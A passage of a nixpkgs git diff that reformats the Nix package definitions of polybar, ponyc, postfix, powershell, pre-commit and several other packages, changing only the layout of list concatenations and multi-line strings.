+    "-Dpolkitd_user=polkituser" # TODO? <nixos> config.ids.uids.polkituser
+    "-Dos_type=redhat" # affects PAM includes and privileged group name (wheel)
+    "-Dintrospection=${lib.boolToString withIntrospection}"
+    "-Dtests=${lib.boolToString doCheck}"
+    "-Dgtk_doc=${lib.boolToString withIntrospection}"
+    "-Dman=true"
+    "-Dsystemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-Dsession_tracking=${if useSystemd then "logind" else "elogind"}"
+  ];
 
   inherit doCheck;
 
diff --git a/pkgs/by-name/po/polybar/package.nix b/pkgs/by-name/po/polybar/package.nix
index 8e90ffa43897..1b70a27916b6 100644
--- a/pkgs/by-name/po/polybar/package.nix
+++ b/pkgs/by-name/po/polybar/package.nix
@@ -58,35 +58,35 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     python3Packages.sphinx
     removeReferencesTo
-  ] ++ lib.optional i3Support makeWrapper;
+  ]
+  ++ lib.optional i3Support makeWrapper;
 
-  buildInputs =
-    [
-      cairo
-      libuv
-      libXdmcp
-      libpthreadstubs
-      libxcb
-      pcre
-      python3
-      xcbproto
-      xcbutil
-      xcbutilcursor
-      xcbutilimage
-      xcbutilrenderutil
-      xcbutilwm
-      xcbutilxrm
-    ]
-    ++ lib.optional alsaSupport alsa-lib
-    ++ lib.optional githubSupport curl
-    ++ lib.optional mpdSupport libmpdclient
-    ++ lib.optional pulseSupport libpulseaudio
-    ++ lib.optional iwSupport wirelesstools
-    ++ lib.optional nlSupport libnl
-    ++ lib.optionals i3Support [
-      jsoncpp
-      i3
-    ];
+  buildInputs = [
+    cairo
+    libuv
+    libXdmcp
+    libpthreadstubs
+    libxcb
+    pcre
+    python3
+    xcbproto
+    xcbutil
+    xcbutilcursor
+    xcbutilimage
+    xcbutilrenderutil
+    xcbutilwm
+    xcbutilxrm
+  ]
+  ++ lib.optional alsaSupport alsa-lib
+  ++ lib.optional githubSupport curl
+  ++ lib.optional mpdSupport libmpdclient
+  ++ lib.optional pulseSupport libpulseaudio
+  ++ lib.optional iwSupport wirelesstools
+  ++ lib.optional nlSupport libnl
+  ++ lib.optionals i3Support [
+    jsoncpp
+    i3
+  ];
 
   patches = [ ./remove-hardcoded-etc.diff ];
 
@@ -96,14 +96,13 @@ stdenv.mkDerivation (finalAttrs: {
     substituteAllInPlace src/utils/file.cpp
   '';
 
-  postInstall =
-    ''
-      remove-references-to -t ${stdenv.cc} $out/bin/polybar
-    ''
-    + (lib.optionalString i3Support ''
-      wrapProgram $out/bin/polybar \
-        --prefix PATH : "${i3}/bin"
-    '');
+  postInstall = ''
+    remove-references-to -t ${stdenv.cc} $out/bin/polybar
+  ''
+  + (lib.optionalString i3Support ''
+    wrapProgram $out/bin/polybar \
+      --prefix PATH : "${i3}/bin"
+  '');
 
   meta = with lib; {
     homepage = "https://polybar.github.io/";
diff --git a/pkgs/by-name/po/polymake/package.nix b/pkgs/by-name/po/polymake/package.nix
index 9812c8a19fe7..5497653e9b75 100644
--- a/pkgs/by-name/po/polymake/package.nix
+++ b/pkgs/by-name/po/polymake/package.nix
@@ -42,27 +42,26 @@ stdenv.mkDerivation rec {
     perl
   ];
 
-  buildInputs =
-    [
-      perl
-      gmp
-      mpfr
-      flint
-      boost
-      bliss
-      ppl
-      singular
-      cddlib
-      lrs
-      nauty
-      openjdk
-    ]
-    ++ (with perlPackages; [
-      JSON
-      TermReadLineGnu
-      TermReadKey
-      XMLSAX
-    ]);
+  buildInputs = [
+    perl
+    gmp
+    mpfr
+    flint
+    boost
+    bliss
+    ppl
+    singular
+    cddlib
+    lrs
+    nauty
+    openjdk
+  ]
+  ++ (with perlPackages; [
+    JSON
+    TermReadLineGnu
+    TermReadKey
+    XMLSAX
+  ]);
 
   ninjaFlags = [
     "-C"
diff --git a/pkgs/by-name/po/ponyc/package.nix b/pkgs/by-name/po/ponyc/package.nix
index 2fcb07cb780b..ff156c8d6041 100644
--- a/pkgs/by-name/po/ponyc/package.nix
+++ b/pkgs/by-name/po/ponyc/package.nix
@@ -50,37 +50,35 @@ stdenv.mkDerivation (rec {
     hash = "sha256-1OJ2SeSscRBNr7zZ/a8bJGIqAnhkg45re0j3DtPfcXM=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      makeWrapper
-      which
-      python3
-      git
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Keep in sync with `PONY_OSX_PLATFORM`.
-      apple-sdk_13
-      (darwinMinVersionHook "13.0")
-      cctools.libtool
-    ];
+  nativeBuildInputs = [
+    cmake
+    makeWrapper
+    which
+    python3
+    git
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Keep in sync with `PONY_OSX_PLATFORM`.
+    apple-sdk_13
+    (darwinMinVersionHook "13.0")
+    cctools.libtool
+  ];
 
   buildInputs = [
     libxml2
     z3
   ];
 
-  patches =
-    [
-      # Sandbox disallows network access, so disabling problematic networking tests
-      ./disable-networking-tests.patch
-      ./disable-process-tests.patch
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (replaceVars ./fix-darwin-build.patch {
-        apple-sdk = apple-sdk_13;
-      })
-    ];
+  patches = [
+    # Sandbox disallows network access, so disabling problematic networking tests
+    ./disable-networking-tests.patch
+    ./disable-process-tests.patch
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (replaceVars ./fix-darwin-build.patch {
+      apple-sdk = apple-sdk_13;
+    })
+  ];
 
   postUnpack = ''
     mkdir -p $NIX_BUILD_TOP/deps
@@ -104,24 +102,24 @@ stdenv.mkDerivation (rec {
         --replace-fail "https://github.com/google/googletest/archive/refs/tags/v$googletestRev.tar.gz" "$NIX_BUILD_TOP/deps/googletest-$googletestRev.tar"
   '';
 
-  preBuild =
-    ''
-      extraFlags=(build_flags=-j$NIX_BUILD_CORES)
-    ''
-    + lib.optionalString stdenv.hostPlatform.isAarch64 ''
-      # See this relnote about building on Raspbian:
-      # https://github.com/ponylang/ponyc/blob/0.46.0/.release-notes/0.45.2.md
-      extraFlags+=(pic_flag=-fPIC)
-    ''
-    + ''
-      make libs "''${extraFlags[@]}"
-      make configure "''${extraFlags[@]}"
-    '';
+  preBuild = ''
+    extraFlags=(build_flags=-j$NIX_BUILD_CORES)
+  ''
+  + lib.optionalString stdenv.hostPlatform.isAarch64 ''
+    # See this relnote about building on Raspbian:
+    # https://github.com/ponylang/ponyc/blob/0.46.0/.release-notes/0.45.2.md
+    extraFlags+=(pic_flag=-fPIC)
+  ''
+  + ''
+    make libs "''${extraFlags[@]}"
+    make configure "''${extraFlags[@]}"
+  '';
 
   makeFlags = [
     "PONYC_VERSION=${version}"
     "prefix=${placeholder "out"}"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin ([ "bits=64" ] ++ lib.optional (!lto) "lto=no");
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin ([ "bits=64" ] ++ lib.optional (!lto) "lto=no");
 
   env.NIX_CFLAGS_COMPILE = toString [
     "-Wno-error=redundant-move"
@@ -132,29 +130,28 @@ stdenv.mkDerivation (rec {
 
   nativeCheckInputs = [ procps ];
 
-  installPhase =
-    ''
-      makeArgs=(config=release prefix=$out)
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      makeArgs+=(bits=64)
-    ''
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && !lto) ''
-      makeArgs+=(lto=no)
-    ''
-    + ''
-      make "''${makeArgs[@]}" install
-      wrapProgram $out/bin/ponyc \
-        --prefix PATH ":" "${stdenv.cc}/bin" \
-        --set-default CC "$CC" \
-        --prefix PONYPATH : "${
-          lib.makeLibraryPath [
-            pcre2
-            openssl
-            (placeholder "out")
-          ]
-        }"
-    '';
+  installPhase = ''
+    makeArgs=(config=release prefix=$out)
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    makeArgs+=(bits=64)
+  ''
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && !lto) ''
+    makeArgs+=(lto=no)
+  ''
+  + ''
+    make "''${makeArgs[@]}" install
+    wrapProgram $out/bin/ponyc \
+      --prefix PATH ":" "${stdenv.cc}/bin" \
+      --set-default CC "$CC" \
+      --prefix PONYPATH : "${
+        lib.makeLibraryPath [
+          pcre2
+          openssl
+          (placeholder "out")
+        ]
+      }"
+  '';
 
   # Stripping breaks linking for ponyc
   dontStrip = true;
diff --git a/pkgs/by-name/po/portablemc/package.nix b/pkgs/by-name/po/portablemc/package.nix
index 1f2d0f9d60ae..be28cfaac4e8 100644
--- a/pkgs/by-name/po/portablemc/package.nix
+++ b/pkgs/by-name/po/portablemc/package.nix
@@ -39,7 +39,8 @@ let
 
     # oshi
     udev
-  ] ++ lib.optional textToSpeechSupport flite;
+  ]
+  ++ lib.optional textToSpeechSupport flite;
 in
 python3Packages.buildPythonApplication rec {
   pname = "portablemc";
diff --git a/pkgs/by-name/po/portaudio/package.nix b/pkgs/by-name/po/portaudio/package.nix
index 00098602e013..f2134742f8b2 100644
--- a/pkgs/by-name/po/portaudio/package.nix
+++ b/pkgs/by-name/po/portaudio/package.nix
@@ -22,12 +22,11 @@ stdenv.mkDerivation rec {
     pkg-config
     which
   ];
-  buildInputs =
-    [
-      libjack2
-    ]
-    # Enabling alsa causes linux-only sources to be built
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
+  buildInputs = [
+    libjack2
+  ]
+  # Enabling alsa causes linux-only sources to be built
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ alsa-lib ];
 
   configureFlags = [
     "--disable-mac-universal"
@@ -49,17 +48,16 @@ stdenv.mkDerivation rec {
   '';
 
   # not sure why, but all the headers seem to be installed by the make install
-  installPhase =
-    ''
-      make install
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # fixup .pc file to find alsa library
-      sed -i "s|-lasound|-L${alsa-lib.out}/lib -lasound|" "$out/lib/pkgconfig/"*.pc
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      cp include/pa_mac_core.h $out/include/pa_mac_core.h
-    '';
+  installPhase = ''
+    make install
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # fixup .pc file to find alsa library
+    sed -i "s|-lasound|-L${alsa-lib.out}/lib -lasound|" "$out/lib/pkgconfig/"*.pc
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    cp include/pa_mac_core.h $out/include/pa_mac_core.h
+  '';
 
   meta = with lib; {
     description = "Portable cross-platform Audio API";
diff --git a/pkgs/by-name/po/positron-bin/package.nix b/pkgs/by-name/po/positron-bin/package.nix
index 42fa5e7100e9..4808a9a7ec43 100644
--- a/pkgs/by-name/po/positron-bin/package.nix
+++ b/pkgs/by-name/po/positron-bin/package.nix
@@ -44,27 +44,28 @@ stdenv.mkDerivation {
         hash = "sha256-f27LC4+SXnkyePw/fw8r9JYsOQKVoIiFkAet/QtwbNg=";
       };
 
-  buildInputs =
-    [ makeShellWrapper ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      gtk3
-      libglvnd
-      libxkbcommon
-      libgbm
-      musl
-      nss
-      stdenv.cc.cc
-      openssl
-      xorg.libX11
-      xorg.libXcomposite
-      xorg.libXdamage
-      xorg.libxkbfile
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      blas
-      patchelf
-    ];
+  buildInputs = [
+    makeShellWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    gtk3
+    libglvnd
+    libxkbcommon
+    libgbm
+    musl
+    nss
+    stdenv.cc.cc
+    openssl
+    xorg.libX11
+    xorg.libXcomposite
+    xorg.libXdamage
+    xorg.libxkbfile
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    blas
+    patchelf
+  ];
 
   nativeBuildInputs =
     lib.optionals stdenv.hostPlatform.isLinux [
@@ -141,6 +142,7 @@ stdenv.mkDerivation {
     platforms = [
       "x86_64-linux"
       "aarch64-linux"
-    ] ++ platforms.darwin;
+    ]
+    ++ platforms.darwin;
   };
 }
diff --git a/pkgs/by-name/po/postfix/package.nix b/pkgs/by-name/po/postfix/package.nix
index 81f299b5957d..318b3d46c45e 100644
--- a/pkgs/by-name/po/postfix/package.nix
+++ b/pkgs/by-name/po/postfix/package.nix
@@ -82,20 +82,19 @@ stdenv.mkDerivation rec {
     makeWrapper
     m4
   ];
-  buildInputs =
-    [
-      db
-      openssl
-      cyrus_sasl
-      icu
-      libnsl
-      pcre2
-    ]
-    ++ lib.optional withPgSQL libpq
-    ++ lib.optional withMySQL libmysqlclient
-    ++ lib.optional withSQLite sqlite
-    ++ lib.optional withLDAP openldap
-    ++ lib.optional withTLSRPT libtlsrpt;
+  buildInputs = [
+    db
+    openssl
+    cyrus_sasl
+    icu
+    libnsl
+    pcre2
+  ]
+  ++ lib.optional withPgSQL libpq
+  ++ lib.optional withMySQL libmysqlclient
+  ++ lib.optional withSQLite sqlite
+  ++ lib.optional withLDAP openldap
+  ++ lib.optional withTLSRPT libtlsrpt;
 
   hardeningDisable = [ "format" ];
   hardeningEnable = [ "pie" ];
diff --git a/pkgs/by-name/po/power-profiles-daemon/package.nix b/pkgs/by-name/po/power-profiles-daemon/package.nix
index 8759b2d76b14..5c3a83877db6 100644
--- a/pkgs/by-name/po/power-profiles-daemon/package.nix
+++ b/pkgs/by-name/po/power-profiles-daemon/package.nix
@@ -44,33 +44,32 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-iQUhA46BEln8pyIBxM/MY7An8BzfiFjxZdR/tUIj4S4=";
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      meson
-      ninja
-      gettext
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_412
-      libxml2 # for xmllint for stripping GResources
-      libxslt # for xsltproc for building docs
-      gobject-introspection
-      wrapGAppsNoGuiHook
-      # checkInput but checked for during the configuring
-      (python3.pythonOnBuildForHost.withPackages (
-        ps: with ps; [
-          pygobject3
-          dbus-python
-          python-dbusmock
-          argparse-manpage
-          shtab
-        ]
-      ))
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    meson
+    ninja
+    gettext
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_412
+    libxml2 # for xmllint for stripping GResources
+    libxslt # for xsltproc for building docs
+    gobject-introspection
+    wrapGAppsNoGuiHook
+    # checkInput but checked for during the configuring
+    (python3.pythonOnBuildForHost.withPackages (
+      ps: with ps; [
+        pygobject3
+        dbus-python
+        python-dbusmock
+        argparse-manpage
+        shtab
+      ]
+    ))
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     bash-completion
diff --git a/pkgs/by-name/po/powerdns-admin/package.nix b/pkgs/by-name/po/powerdns-admin/package.nix
index 31f7c15777f4..7e18e8cdba14 100644
--- a/pkgs/by-name/po/powerdns-admin/package.nix
+++ b/pkgs/by-name/po/powerdns-admin/package.nix
@@ -83,7 +83,8 @@ let
 
     nativeBuildInputs = [
       yarnConfigHook
-    ] ++ pythonDeps;
+    ]
+    ++ pythonDeps;
     patches = all_patches ++ [
       ./0002-Remove-cssrewrite-filter.patch
     ];
diff --git a/pkgs/by-name/po/powershell/package.nix b/pkgs/by-name/po/powershell/package.nix
index e03d277dd3af..5c28f6e71dc7 100644
--- a/pkgs/by-name/po/powershell/package.nix
+++ b/pkgs/by-name/po/powershell/package.nix
@@ -48,49 +48,46 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      less
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      autoPatchelfHook
-    ];
+  nativeBuildInputs = [
+    less
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    autoPatchelfHook
+  ];
 
-  buildInputs =
-    [
-      curl
-      icu
-      libuuid
-      libunwind
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      lttng-ust
-      pam
-    ];
+  buildInputs = [
+    curl
+    icu
+    libuuid
+    libunwind
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    lttng-ust
+    pam
+  ];
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/{bin,share/powershell}
-      cp -R * $out/share/powershell
-      chmod +x $out/share/powershell/pwsh
-      makeWrapper $out/share/powershell/pwsh $out/bin/pwsh \
-        --prefix ${platformLdLibraryPath} : "${lib.makeLibraryPath buildInputs}" \
-        --set TERM xterm \
-        --set POWERSHELL_TELEMETRY_OPTOUT 1 \
-        --set DOTNET_CLI_TELEMETRY_OPTOUT 1
+    mkdir -p $out/{bin,share/powershell}
+    cp -R * $out/share/powershell
+    chmod +x $out/share/powershell/pwsh
+    makeWrapper $out/share/powershell/pwsh $out/bin/pwsh \
+      --prefix ${platformLdLibraryPath} : "${lib.makeLibraryPath buildInputs}" \
+      --set TERM xterm \
+      --set POWERSHELL_TELEMETRY_OPTOUT 1 \
+      --set DOTNET_CLI_TELEMETRY_OPTOUT 1
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      patchelf --replace-needed liblttng-ust${ext}.0 liblttng-ust${ext}.1 $out/share/powershell/libcoreclrtraceptprovider.so
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    patchelf --replace-needed liblttng-ust${ext}.0 liblttng-ust${ext}.1 $out/share/powershell/libcoreclrtraceptprovider.so
 
-    ''
-    + ''
-      runHook postInstall
-    '';
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   dontStrip = true;
 
diff --git a/pkgs/by-name/pp/ppl/package.nix b/pkgs/by-name/pp/ppl/package.nix
index b36ae47ecbf1..d02dd8dd787a 100644
--- a/pkgs/by-name/pp/ppl/package.nix
+++ b/pkgs/by-name/pp/ppl/package.nix
@@ -42,14 +42,15 @@ stdenv.mkDerivation {
   ];
   propagatedBuildInputs = [ gmpxx ];
 
-  configureFlags =
-    [ "--disable-watchdog" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "CPPFLAGS=-fexceptions"
-      "--disable-ppl_lcdd"
-      "--disable-ppl_lpsol"
-      "--disable-ppl_pips"
-    ];
+  configureFlags = [
+    "--disable-watchdog"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "CPPFLAGS=-fexceptions"
+    "--disable-ppl_lcdd"
+    "--disable-ppl_lpsol"
+    "--disable-ppl_pips"
+  ];
 
   # Beware!  It took ~6 hours to compile PPL and run its tests on a 1.2 GHz
   # x86_64 box.  Nevertheless, being a dependency of GCC, it probably ought
diff --git a/pkgs/by-name/pp/ppp/package.nix b/pkgs/by-name/pp/ppp/package.nix
index 4a1f18db9982..280fa0522e89 100644
--- a/pkgs/by-name/pp/ppp/package.nix
+++ b/pkgs/by-name/pp/ppp/package.nix
@@ -37,17 +37,16 @@ stdenv.mkDerivation rec {
     autoreconfHook
   ];
 
-  buildInputs =
-    [
-      bash
-      libpcap
-      libxcrypt
-      linux-pam
-      openssl
-    ]
-    ++ lib.optionals withSystemd [
-      systemdMinimal
-    ];
+  buildInputs = [
+    bash
+    libpcap
+    libxcrypt
+    linux-pam
+    openssl
+  ]
+  ++ lib.optionals withSystemd [
+    systemdMinimal
+  ];
 
   postPatch = ''
     for file in $(find -name Makefile.linux); do
diff --git a/pkgs/by-name/pp/ppsspp/package.nix b/pkgs/by-name/pp/ppsspp/package.nix
index 70c95e38e69e..8198bd693c41 100644
--- a/pkgs/by-name/pp/ppsspp/package.nix
+++ b/pkgs/by-name/pp/ppsspp/package.nix
@@ -65,31 +65,31 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
     pkg-config
     python3
-  ] ++ lib.optionals enableQt [ wrapQtAppsHook ];
+  ]
+  ++ lib.optionals enableQt [ wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      SDL2
-      libX11
-      glew
-      libzip
-      zlib
-    ]
-    ++ lib.optionals useSystemFfmpeg [
-      ffmpeg_6
-    ]
-    ++ lib.optionals useSystemSnappy [
-      snappy
-    ]
-    ++ lib.optionals enableQt [
-      qtbase
-      qtmultimedia
-    ]
-    ++ lib.optionals enableVulkan [ vulkan-loader ]
-    ++ lib.optionals vulkanWayland [
-      wayland
-      libffi
-    ];
+  buildInputs = [
+    SDL2
+    libX11
+    glew
+    libzip
+    zlib
+  ]
+  ++ lib.optionals useSystemFfmpeg [
+    ffmpeg_6
+  ]
+  ++ lib.optionals useSystemSnappy [
+    snappy
+  ]
+  ++ lib.optionals enableQt [
+    qtbase
+    qtmultimedia
+  ]
+  ++ lib.optionals enableVulkan [ vulkan-loader ]
+  ++ lib.optionals vulkanWayland [
+    wayland
+    libffi
+  ];
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/by-name/pr/pre-commit/package.nix b/pkgs/by-name/pr/pre-commit/package.nix
index 5bee2ddd0c3e..a548d709e3bd 100644
--- a/pkgs/by-name/pr/pre-commit/package.nix
+++ b/pkgs/by-name/pr/pre-commit/package.nix
@@ -47,34 +47,33 @@ buildPythonApplication rec {
     virtualenv
   ];
 
-  nativeCheckInputs =
-    [
-      cargo
-      gitMinimal
-      go
-      libiconv # For rust tests on Darwin
-      perl
-      pytest-env
-      pytest-forked
-      pytest-xdist
-      pytestCheckHook
-      re-assert
-      cabal-install
-    ]
-    ++ lib.optionals (!i686Linux) [
-      # coursier can be moved back to the main nativeCheckInputs list once we’re able to bootstrap a
-      # JRE on i686-linux: <https://github.com/NixOS/nixpkgs/issues/314873>. When coursier gets
-      # moved back to the main nativeCheckInputs list, don’t forget to re-enable the
-      # coursier-related test that is currently disabled on i686-linux.
-      coursier
-      # i686-linux: dotnet-sdk not available
-      dotnet-sdk
-      # nodejs can be moved back to the main nativeCheckInputs list once this
-      # issue is fixed: <https://github.com/NixOS/nixpkgs/issues/387658>. When nodejs gets
-      # moved back to the main nativeCheckInputs list, don’t forget to re-enable the
-      # Node.js-related tests that are currently disabled on i686-linux.
-      nodejs
-    ];
+  nativeCheckInputs = [
+    cargo
+    gitMinimal
+    go
+    libiconv # For rust tests on Darwin
+    perl
+    pytest-env
+    pytest-forked
+    pytest-xdist
+    pytestCheckHook
+    re-assert
+    cabal-install
+  ]
+  ++ lib.optionals (!i686Linux) [
+    # coursier can be moved back to the main nativeCheckInputs list once we’re able to bootstrap a
+    # JRE on i686-linux: <https://github.com/NixOS/nixpkgs/issues/314873>. When coursier gets
+    # moved back to the main nativeCheckInputs list, don’t forget to re-enable the
+    # coursier-related test that is currently disabled on i686-linux.
+    coursier
+    # i686-linux: dotnet-sdk not available
+    dotnet-sdk
+    # nodejs can be moved back to the main nativeCheckInputs list once this
+    # issue is fixed: <https://github.com/NixOS/nixpkgs/issues/387658>. When nodejs gets
+    # moved back to the main nativeCheckInputs list, don’t forget to re-enable the
+    # Node.js-related tests that are currently disabled on i686-linux.
+    nodejs
+  ];
 
   postPatch = ''
     substituteInPlace pre_commit/resources/hook-tmpl \
@@ -118,80 +117,79 @@ buildPythonApplication rec {
     deactivate
   '';
 
-  disabledTests =
-    [
-      # ERROR: The install method you used for conda--probably either `pip install conda`
-      # or `easy_install conda`--is not compatible with using conda as an application.
-      "test_conda_"
-      "test_local_conda_"
+  disabledTests = [
+    # ERROR: The install method you used for conda--probably either `pip install conda`
+    # or `easy_install conda`--is not compatible with using conda as an application.
+    "test_conda_"
+    "test_local_conda_"
 
-      # /build/pytest-of-nixbld/pytest-0/test_install_ruby_with_version0/rbenv-2.7.2/libexec/rbenv-init:
-      # /usr/bin/env: bad interpreter: No such file or directory
-      "test_ruby_"
+    # /build/pytest-of-nixbld/pytest-0/test_install_ruby_with_version0/rbenv-2.7.2/libexec/rbenv-init:
+    # /usr/bin/env: bad interpreter: No such file or directory
+    "test_ruby_"
 
-      # network
-      "test_additional_dependencies_roll_forward"
-      "test_additional_golang_dependencies_installed"
-      "test_additional_node_dependencies_installed"
-      "test_additional_rust_cli_dependencies_installed"
-      "test_additional_rust_lib_dependencies_installed"
-      "test_coursier_hook"
-      "test_coursier_hook_additional_dependencies"
-      "test_dart"
-      "test_dart_additional_deps"
-      "test_dart_additional_deps_versioned"
-      "test_during_commit_all"
-      "test_golang_default_version"
-      "test_golang_hook"
-      "test_golang_hook_still_works_when_gobin_is_set"
-      "test_golang_infer_go_version_default"
-      "test_golang_system"
-      "test_golang_versioned"
-      "test_language_version_with_rustup"
-      "test_installs_rust_missing_rustup"
-      "test_installs_without_links_outside_env"
-      "test_local_golang_additional_deps"
-      "test_lua"
-      "test_lua_additional_dependencies"
-      "test_node_additional_deps"
-      "test_node_hook_versions"
-      "test_perl_additional_dependencies"
-      "test_r_hook"
-      "test_r_inline"
-      "test_r_inline_hook"
-      "test_r_local_with_additional_dependencies_hook"
-      "test_r_with_additional_dependencies_hook"
-      "test_run_a_node_hook_default_version"
-      "test_run_lib_additional_dependencies"
-      "test_run_versioned_node_hook"
-      "test_rust_cli_additional_dependencies"
-      "test_swift_language"
-      "test_run_example_executable"
-      "test_run_dep"
+    # network
+    "test_additional_dependencies_roll_forward"
+    "test_additional_golang_dependencies_installed"
+    "test_additional_node_dependencies_installed"
+    "test_additional_rust_cli_dependencies_installed"
+    "test_additional_rust_lib_dependencies_installed"
+    "test_coursier_hook"
+    "test_coursier_hook_additional_dependencies"
+    "test_dart"
+    "test_dart_additional_deps"
+    "test_dart_additional_deps_versioned"
+    "test_during_commit_all"
+    "test_golang_default_version"
+    "test_golang_hook"
+    "test_golang_hook_still_works_when_gobin_is_set"
+    "test_golang_infer_go_version_default"
+    "test_golang_system"
+    "test_golang_versioned"
+    "test_language_version_with_rustup"
+    "test_installs_rust_missing_rustup"
+    "test_installs_without_links_outside_env"
+    "test_local_golang_additional_deps"
+    "test_lua"
+    "test_lua_additional_dependencies"
+    "test_node_additional_deps"
+    "test_node_hook_versions"
+    "test_perl_additional_dependencies"
+    "test_r_hook"
+    "test_r_inline"
+    "test_r_inline_hook"
+    "test_r_local_with_additional_dependencies_hook"
+    "test_r_with_additional_dependencies_hook"
+    "test_run_a_node_hook_default_version"
+    "test_run_lib_additional_dependencies"
+    "test_run_versioned_node_hook"
+    "test_rust_cli_additional_dependencies"
+    "test_swift_language"
+    "test_run_example_executable"
+    "test_run_dep"
 
-      # i don't know why these fail
-      "test_install_existing_hooks_no_overwrite"
-      "test_installed_from_venv"
-      "test_uninstall_restores_legacy_hooks"
-      "test_dotnet_"
-      "test_health_check_"
+    # i don't know why these fail
+    "test_install_existing_hooks_no_overwrite"
+    "test_installed_from_venv"
+    "test_uninstall_restores_legacy_hooks"
+    "test_dotnet_"
+    "test_health_check_"
 
-      # Expects `git commit` to fail when `pre-commit` is not in the `$PATH`,
-      # but we use an absolute path so it's not an issue.
-      "test_environment_not_sourced"
+    # Expects `git commit` to fail when `pre-commit` is not in the `$PATH`,
+    # but we use an absolute path so it's not an issue.
+    "test_environment_not_sourced"
 
-      # Docker required
-      "test_docker_"
-    ]
-    ++ lib.optionals i686Linux [
-      # From coursier_test.py:
-      "test_error_if_no_deps_or_channel"
-      # From node_test.py:
-      "test_healthy_system_node"
-      "test_unhealthy_if_system_node_goes_missing"
-      "test_node_hook_system"
-      "test_node_with_user_config_set"
-    ];
+    # Docker required
+    "test_docker_"
+  ]
+  ++ lib.optionals i686Linux [
+    # From coursier_test.py:
+    "test_error_if_no_deps_or_channel"
+    # From node_test.py:
+    "test_healthy_system_node"
+    "test_unhealthy_if_system_node_goes_missing"
+    "test_node_hook_system"
+    "test_node_with_user_config_set"
+  ];
 
   pythonImportsCheck = [
     "pre_commit"
diff --git a/pkgs/by-name/pr/previewqt/package.nix b/pkgs/by-name/pr/previewqt/package.nix
index 7e9daf5eb2a3..48d517c67a7d 100644
--- a/pkgs/by-name/pr/previewqt/package.nix
+++ b/pkgs/by-name/pr/previewqt/package.nix
@@ -34,25 +34,24 @@ stdenv.mkDerivation (finalAttrs: {
     qt6Packages.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      exiv2
-      imagemagick
-      libarchive
-      libdevil
-      libraw
-      mpv
-      resvg
-      vips
-    ]
-    ++ [
-      qt6Packages.poppler
-      qt6Packages.qtmultimedia
-      qt6Packages.qtquick3d
-      qt6Packages.qtsvg
-      qt6Packages.qttools
-      qt6Packages.qtwebengine
-    ];
+  buildInputs = [
+    exiv2
+    imagemagick
+    libarchive
+    libdevil
+    libraw
+    mpv
+    resvg
+    vips
+  ]
+  ++ [
+    qt6Packages.poppler
+    qt6Packages.qtmultimedia
+    qt6Packages.qtquick3d
+    qt6Packages.qtsvg
+    qt6Packages.qttools
+    qt6Packages.qtwebengine
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/pr/prism-model-checker/package.nix b/pkgs/by-name/pr/prism-model-checker/package.nix
index ffab24608469..defc72b0bee0 100644
--- a/pkgs/by-name/pr/prism-model-checker/package.nix
+++ b/pkgs/by-name/pr/prism-model-checker/package.nix
@@ -29,7 +29,8 @@ stdenv'.mkDerivation (finalAttrs: {
     openjdk
     copyDesktopItems
     makeWrapper
-  ] ++ lib.optionals stdenv'.hostPlatform.isDarwin [ cctools ];
+  ]
+  ++ lib.optionals stdenv'.hostPlatform.isDarwin [ cctools ];
 
   desktopItems = [
     (makeDesktopItem {
